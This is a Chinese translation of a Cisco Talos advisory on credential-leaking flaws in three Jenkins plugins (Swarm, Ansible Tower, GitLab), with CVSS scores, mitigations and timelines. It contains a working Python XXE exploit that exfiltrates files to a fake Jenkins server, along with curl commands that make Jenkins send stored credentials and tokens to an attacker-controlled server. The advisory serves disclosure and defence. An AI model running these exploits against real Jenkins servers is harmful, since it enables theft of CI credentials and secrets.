导致数据库凭据泄露:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄露漏洞(CVE-2019-10309/10300/10310)

作者:???深圳市网安计算机安全检测技术有限公司 2019/05/09 10:04:17 129次阅读 国际
文章来源:https://www.funstec.com/enterprise/1963.html

一、概述

? ? ? ?Jenkins是一个用Java编写的开源自动化服务器。借助一些插件,可以将Jenkins与其他软件集成,例如GitLab。5月7日,Cisco Talos团队公开了其中三个插件的漏洞,这三个插件分别是Swarm、Ansible和GitLab。这些插件中的漏洞均属于信息泄露类型,攻击者借助这些漏洞,可能欺骗上述插件,将Jenkins数据库中的凭据泄露至攻击者控制的服务器。

? ? ? ?根据我们的协调漏洞披露政策,Cisco Talos与Jenkins及相关公司进行了合作,以确保这些问题得以彻底解决,并为受影响的客户提供更新

二、Jenkins Swarm插件XXE信息泄露漏洞(CVE-2019-10309)

? ? ? ?在Jenkins自组织的Swarm模块插件3.14版本中,getCandidateFromDatagramResponses()方法存在一个简单的XXE(XML外部实体)漏洞。由于这一漏洞的存在,与Swarm客户端在同一网络上的攻击者可以借助精心构造的响应信息来响应UDP发现请求,从而实现在系统上读取任意文件。

2.1 产品URL

https://github.com/jenkinsci/swarm-plugin

2.2 CVSS v3评分

6.1 – CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

2.3 CWE

CWE-611? XML外部实体(XXE)引用未进行正确限制

2.4 漏洞详细分析

? ? ? ?该漏洞可能允许连接到部署Swarm代理网络中的非特权用户访问代理实例上的数据,而无需进行额外的身份验证。由于UDP广播发现工作机制中存在缺陷,将导致使用此机制寻找Jenkins Master的过程中,会对代理找到的所有Master发生未经身份验证的本地文件读取。我们在基于Docker的环境中进行了测试,其中运行Swarm代理的所有代理都可以成功实现该漏洞的利用。

? ? ? ?针对这一漏洞,我们计算出CVSS v3评分为6.1。但是,该漏洞实际的威胁程度很大程度上取决于部署方式,并且根据实际部署方式的不同,这一评分有可能会显着降低。此外,由于Java XML解析器的性质,包含某些字符的文件无法成功反射到FTP或HTTP URI中,因此也就无法成功实现信息泄露。

2.5 漏洞利用概念证明

Dockerfile

FROM?ubuntu:latest
?
#?Update?repository?metadata?and?install?a?JVM.
RUN?apt?update?&&?\
????apt?install?-y?openjdk-8-jre-headless?tcpdump?curl?&&?\
????apt?install?-y?python3?python3-pip?tmux?&&?\
????pip3?install?pyftpdlib
?
#?Grab?the?latest?Swarm?Client.
RUN?curl?-D?-?-o?/var/tmp/swarm-client.jar?\
????https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar
?
#?Copy?our?exploit?code?to?the?container.
COPY?exploit.py?/root/exploit.py
?
#?Give?'er.
ENTRYPOINT?java?-jar?/var/tmp/swarm-client.jar

exploit.py

'''?Jenkins?Swarm-Plugin?XXE?PoC?(via?@Darkarnium).?'''
?
import?os
import?sys
import?socket
import?uuid
import?logging
import?http.server
import?socketserver
import?multiprocessing
?
?
def?find_ip():
????'''?Find?the?IP?of?the?'primary'?network?interface.?'''
????sock?=?socket.socket(socket.AF_INET,?socket.SOCK_DGRAM)
????sock.connect(('8.8.8.8',?80))
????addr?=?sock.getsockname()[0]
????sock.close()
????return?addr
?
?
class?RequestHandler(http.server.BaseHTTPRequestHandler):
????'''?Provides?a?set?of?request?handlers?for?our?Fake?jenkins?server.?'''
?
????def?__init__(self,?request,?client_address,?server):
????????'''?Bot?on?a?logger.?'''
????????self.logger?=?logging.getLogger(__name__)
????????super().__init__(request,?client_address,?server)
?
????def?version_string(self):
????????'''?Override?version?string?/?Server?header.?'''
????????return?'TotallyJenkins'
?
????def?log_message(self,?fmt,?*args):
????????'''?Where?we're?going,?we?don't?need?logs.?'''
????????pass
?
????def?log_error(self,?fmt,?*args):
????????'''?Where?we're?going,?we?don't?need?logs.?'''
????????pass
?
????def?log_request(self,?code='-',?size='-'):
????????'''?Where?we're?going,?we?don't?need?logs.?'''
????????self.logger.debug(
????????????'Received?%s?request?for?%s?from?%s',
????????????self.command,
????????????self.path,
????????????self.client_address
????????)
?
????def?build_stage_two(self):
????????'''?Builds?a?second?stage?XXE?payload?-?for?exfil.?'''
????????payload?=?'''
????????????file:///etc/debian_version">
????????????http://{0}:{1}/exfil?/etc/debian_version=%local1;'>">
????????????file:///etc/hostname">
????????????http://{0}:{1}/exfil?/etc/hostname=%local2;'>">
????????'''.format(find_ip(),?'8080')
????????return?payload.encode()
?
????def?do_GET(self):
????????'''?Implements?routing?for?HTTP?GET?requests.?'''
????????self.logger.debug('Processing?GET?on?route?"%s"',?self.path)
?
????????#?Provide?an?exfiltration?endpoint.
????????if?'/exfil'?in?self.path:
????????????self.logger.warn('Exfiltrated?%s?->?"%s"',?*self.path.split('?')[1].split('='))
????????????self.send_response(200,?'OK')
????????????self.send_header('X-Hudson',?'1.395')
????????????self.send_header('Content-Length',?'2')
????????????self.end_headers()
????????????self.wfile.write(b'OK')
?
????????#?Serve?the?payload?DTD.
????????if?self.path.endswith('.dtd'):
????????????stage_two?=?self.build_stage_two()
????????????self.send_response(200,?'OK')
????????????self.send_header('Content-Type',?'application/x-java-jnlp-file')
????????????self.send_header('Content-Length',?len(stage_two))
????????????self.end_headers()
????????????self.wfile.write(stage_two)
?
????????#?Ensure?the?X-Hudson?check?in?Swarm?plugin?passes.
????????if?self.path?==?'/':
????????????self.send_response(200,?'OK')
????????????self.send_header('X-Hudson',?'1.395')
????????????self.send_header('Content-Length',?'2')
????????????self.end_headers()
????????????self.wfile.write(b'OK')
?
????def?do_PUT(self):
????????'''?Mock?HTTP?PUT?requests.?'''
????????self.send_response(500)
?
????def?do_POST(self):
????????'''?Mock?HTTP?POST?requests.?'''
????????self.logger.debug('Processing?POST?on?route?"%s"',?self.path)
?
????????#?Respond?with?an?OK?to?keep?the?exchange?going.
????????if?self.path.startswith('/plugin/swarm/createSlave'):
????????????self.send_response(200,?'OK')
????????????self.send_header('Content-Length',?'0')
????????????self.end_headers()
?
????def?do_HEAD(self):
????????'''?Mock?HTTP?HEAD?requests.?'''
????????self.send_response(500)
?
????def?do_PATCH(self):
????????'''?Mock?HTTP?PATCH?requests.?'''
????????self.send_response(500)
?
????def?do_OPTIONS(self):
????????'''?Mock?HTTP?HEAD?requests.?'''
????????self.send_response(500)
?
class?HTTPServer(multiprocessing.Process):
????'''?Provides?a?Fake?Jenkins?server?to?signal?the?Swarm.?'''
?
????def?__init__(self,?port=8080):
????????'''?Bolt?on?a?logger.?'''
????????super().__init__()
????????self.port?=?port
????????self.logger?=?logging.getLogger(__name__)
?
????def?run(self):
????????'''?Do?the?thing.?'''
????????self.logger.info('Starting?HTTP?listener?on?TCP?%s',?self.port)
?
????????#?Kick?off?the?server.
????????instance?=?http.server.HTTPServer(
????????????('0.0.0.0',?self.port),
????????????RequestHandler
????????)
????????instance.serve_forever()
?
?
class?Spwner(multiprocessing.Process):
????'''?Provides?a?Spawn?broadcast?listener?and?responder.?'''
?
????def?__init__(self,?port=33848):
????????'''?Setup?a?socket?and?bolt?on?a?logger.?'''
????????super().__init__()
????????self.port?=?port
????????self.logger?=?logging.getLogger(__name__)
????????self.logger.info('Binding?broadcast?listener?to?UDP?%s',?port)
????????self.sock?=?socket.socket(socket.AF_INET,?socket.SOCK_DGRAM)
????????self.sock.bind(('255.255.255.255',?self.port))
????????self.swarm?=?str(uuid.uuid4())
?
????def?build_swarm_xml(self):
????????'''?Builds?a?baked?Swarm?payload.?'''
????????#?This?is?dirty.
????????payload?=?'''
????????????http://{0}:{1}/stageTwo.dtd">
????????????????%stageTwo;
????????????????%remote1;
????????????????%remote2;
????????????]>
????????????
????????????????&exfil1;
????????????????&exfil2;
????????????????http://{0}:{1}/
????????????
????????'''.format(find_ip(),?'8080')
????????return?payload.encode()
?
????def?respond(self,?client):
????????'''?Send?a?payload?to?the?given?client.?'''
????????addr,?port?=?client
????????self.logger.info('Sending?payload?to?%s:%s',?addr,?port)
????????sock?=?socket.socket(socket.AF_INET,?socket.SOCK_DGRAM)
????????sock.sendto(self.build_swarm_xml(),?(addr,?port))
????????self.logger.info('Payload?sent!')
?
????def?listen(self):
????????'''?Listen?for?clients.?'''
????????while?True:
????????????_,?client?=?self.sock.recvfrom(1024)
????????????self.logger.info('Received?a?Swarm?broadcast?from?%s',?client)
????????????self.respond(client)
?
????def?run(self):
????????'''?Do?the?thing.?'''
????????self.listen()
?
?
def?main():
????'''?Jenkins?Swarm-Plugin?RCE?PoC.?'''
????#?Configure?the?logger.
????logging.basicConfig(
????????level=logging.INFO,
????????format='%(asctime)s?-?%(process)d?-?[%(levelname)s]?%(message)s',
????)
????log?=?logging.getLogger(__name__)
????#?log.setLevel(logging.DEBUG)
?
????#?Spawn?a?fake?Jenkins?HTTP?server.
????log.info('Spawning?fake?Jenkins?HTTP?Server')
????httpd?=?HTTPServer()
????httpd.start()
?
????#?Spawn?a?broadcast?listener.
????log.info('Spawning?a?Swarm?broadcast?listener')
????listener?=?Spwner()
????listener.start()
?
?
if?__name__?==?'__main__':
????main()

2.6 缓解方案

? ? ? ?在厂商发布修复后版本之前,建议用户禁用UDP广播功能。要禁用这一功能,可以通过在命令行参数中,指定要连接的Jenkins主服务器来实现。

2.7 时间节点

·?2018年12月5日 向厂商报告该漏洞

·?2019年4月30日 ?厂商发布补丁

·?2019年5月6日 ?公开披露漏洞信息

2.8 贡献者

? ? ? ?该漏洞由Cisco Umbrella的Peter Adkins发现。

三、Jenkins Ansible Tower插件信息泄露漏洞(CVE-2019-10300)

? ? ? ?在Jenkins Ansible Tower插件0.9.1版本中,testTowerConnection函数存在一个可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求来利用,因此也可以通过跨站请求伪造(CSRF)来利用此漏洞。除上述内容外,如果响应服务器未返回格式正确的JSON文档,则该响应将作为报告错误的一部分反馈给用户,从而导致仅能通过HTTP GET方式实现服务器端请求伪造(SSRF)漏洞利用。

? ? ? ?该漏洞也存在于该插件的fillTowerCredentialsIdItems函数中,该函数允许遍历该攻击所需的凭据标识符。

3.1 产品URL

https://github.com/jenkinsci/ansible-tower-plugin

https://plugins.jenkins.io/ansible-tower

3.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

3.3 CWE

CWE-285? 不适当的授权

3.4 漏洞详细分析

? ? ? ?Ansible是一个开源软件,允许用户配置和部署各种应用程序。Ansible Tower插件旨在优化Ansible的使用,使该软件更适用于各类IT团队。由于缺少对Jenkins的权限检查,由org.jenkinsci.plugins.ansible_tower.util.TowerInstallation的doTestTowerConnection方法暴露的testTowerConnection存在该漏洞。在doFillTowerCredentialsIdItems方法中也忽略了权限检查,从而导致攻击者可以通过该方法枚举凭据,产生相同的信息泄露风险。

? ? ? ?由于此插件对远程Ansible Tower实例进行身份验证的方式存在问题,将导致与towerCredentialsId相关联的凭据,在经过Base64编码后,作为HTTP Authorization标头的一部分发送到攻击者控制的服务器,同时还会发送攻击者指定位置的JSON文档明文。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。

#?List?credentials?on?target?Jenkins?instance.
$?curl?-s?-X?GET?-G?\
????-d?'pretty=true'?\
????'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/fillTowerCredentialsIdItems'
{
"_class"?:?"com.cloudbees.plugins.credentials.common.StandardListBoxModel",
"values"?:?[
????{
????"name"?:?"-?none?-",
????"selected"?:?false,
????"value"?:?""
????},
????{
????"name"?:?"BBBBBB/******?(ExampleOnly)",
????"selected"?:?false,
????"value"?:?"01e367ef-54fb-4da0-8044-5112935037bb"
????},
????{
????"name"?:?"SecureUsername/******?(Credentials?for?X)",
????"selected"?:?false,
????"value"?:?"287fcbe2-177e-4108-ac58-efdc0a507376"
????},
????{
????"name"?:?"A?Secret?Text?Entry",
????"selected"?:?false,
????"value"?:?"532ba431-e25d-4aad-bc74-fb5b2cc03bd7"
????}
]
}
?
#?Send?credentials?to?an?attacker's?server?(http://127.0.0.1:7000?).
#?The?trailing?'?'?is?to?ensure?that?the?expected?path?is?appended?as?a
#?query?parameter,?rather?than?part?of?the?query?path.
#
#?Two?requests?are?performed?by?Jenkins?here.?The?first?is?a?'ping',?which
#?requires?that?the?target?respond?with?a?well?formed?JSON?response?-
#?though?any?JSON?response?will?do.?If?this?first?request?fails,?the?reply
#?will?be?reflected?to?the?client?(SSRF).?If?it?succeeds,?a?subsequent
#?POST?will?be?performed?which?contains?the?credentials.
#
$?curl?-s?-X?GET?-G?\
????-d?'towerURL=http://127.0.0.1:7000/report.json?'?\
????-d?'towerTrustCert=false'?\
????-d?'enableDebugging=true'?\
????-d?'towerCredentialsId=287fcbe2-177e-4108-ac58-efdc0a507376'?\
????'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/testTowerConnection'

存在漏洞的插件以HTTP GET形式提交给远程服务器的请求,类似于如下内容:

#?First?request?from?Jenkins?(GET)
/report.json?/api/v2/ping/
Host:?127.0.0.1:7000
Connection:?Keep-Alive
User-Agent:?Apache-HttpClient/4.1-alpha1?(java?1.5)
?
#?Second?request?from?Jenkins?(POST)
/report.json?/api/v2/authtoken/
Authorization:?Basic?U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v
Content-Type:?application/json
Content-Length:?61
Host:?127.0.0.1:7000
Connection:?Keep-Alive
User-Agent:?Apache-HttpClient/4.1-alpha1?(java?1.5)
?
{"username":"SecureUsername","password":"SecurePasswordOhNo"}

3.5 缓解方案

? ? ? ?在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。

3.6 时间节点

2019年3月12日 向厂商报告该漏洞

2019年4月30日 ?厂商发布补丁

2019年5月6日 ?公开披露漏洞信息

3.7 贡献者

该漏洞由Cisco Umbrella的Peter Adkins发现。

四、Jenkins GitLab插件信息泄露漏洞(CVE-2019-10310)

? ? ? ?Jenkins GitLab插件1.5.11版本的testConnection函数中,存在可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求利用,因此也可以通过跨站请求伪造(CSRF)来实现此漏洞的利用。

? ? ? ?为了使这一攻击成功进行,攻击者需要知道要获取的凭据的凭据ID。该凭据ID可以通过多种方式查找,例如公开的编译日志(读取)、访问Jenkins UI中的凭证管理器(读取),或者通过fileCredentialsIdItems样式中另外一个易受攻击的插件来实现。

4.1 产品URL

https://plugins.jenkins.io/gitlab-plugin

https://github.com/jenkinsci/gitlab-plugin

4.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

4.3 CWE

CWE-285? 不适当的授权

4.4 漏洞详细分析

? ? ? ?由于缺少对Jenkins的权限检查,com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig的doTestConnection方法暴露的testConnection中存在这一漏洞。

? ? ? ?由于该插件针对远程GitLab实例进行身份验证的方式存在问题,与攻击者指定的credentialsId相关联的凭据将作为HTTP PRIVATE-TOKEN标头的一部分,发送至攻击者控制的服务器。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。

#?Send?credentials?to?an?attacker's?server?(http://127.0.0.1:7000?).
#?The?trailing?'?'?is?to?ensure?that?the?expected?path?is?appended?as?a
#?query?parameter,?rather?than?part?of?the?query?path.
$?curl?-s?-X?GET?-G?\
????-d?'url=http://127.0.0.1:7000/?'?\
????-d?'clientBuilderId=autodetect'?\
????-d?'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7'?\
????'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'

? ? ? ?插件以HTTP GET方式发送至远程服务器的请求,类似于下面内容。当上述clientBuilderdId字段设置为autodetect(自动检测)时,会有多个请求被发送至攻击者指定的服务器。

#?First?request?from?Jenkins?(GET).
/api/v4/user
Accept:?application/json
PRIVATE-TOKEN:?ASecretTextEntry
Host:?127.0.0.1:7000
Connection:?Keep-Alive
?
#?Second?request?from?Jenkins?(GET)
/api/v3/user
Accept:?application/json
PRIVATE-TOKEN:?ASecretTextEntry
Host:?127.0.0.1:7000
Connection:?Keep-Alive

? ? ? ?值得注意的是,由于攻击者指定的服务器响应不符合预期的格式,因此插件将会产生错误,并且不呈现响应内容。

4.5 缓解方案

? ? ? ?在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。

4.6 时间节点

·?2019年3月12日 向厂商报告该漏洞

·?2019年4月30日 ?厂商发布补丁

·?2019年5月6日 ?公开披露漏洞信息

4.7 贡献者

该漏洞由Cisco Umbrella的Peter Adkins发现。

五、测试环境

? ? ? ?经过测试,我们确认Jenkins Ansible Tower插件的0.9.1版本受到CVE-2019-10310的影响,Jenkins Artifactory插件的3.2.1和3.2.0版本受到CVE-2019-5026的影响,Jenkins GitLab插件的1.5.11版本受到CVE-2019-10300的影响,Swarm-Client的3.14版本受到CVE-2019-10309的影响。

六、检测规则

? ? ? ?以下SNORT规则将检测该漏洞的利用尝试。需要注意的是,可能会在未来某个日期发布其他规则,并且根据其他漏洞信息的补充,当前规则可能会发生更改。有关最新的规则信息,可以参阅Firepower管理中心,或访问Snort.org。

Snort规则:49362、49363、49370、49373。

七、补充说明

? ? ? ?在Cisco Talos网站的原文中,分别将这三个漏洞标注为CVE-2019-5022、CVE-2019-5025、CVE-2019-5027,而根据MITRE的官网,查询这三个漏洞的实际编号分别为CVE-2019-10309、CVE-2019-10300和CVE-2019-10310。目前暂不清楚是原文有误,还是重复分配了CVE编号。本文在翻译时,均以MITRE的官方CVE编号为准。


指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室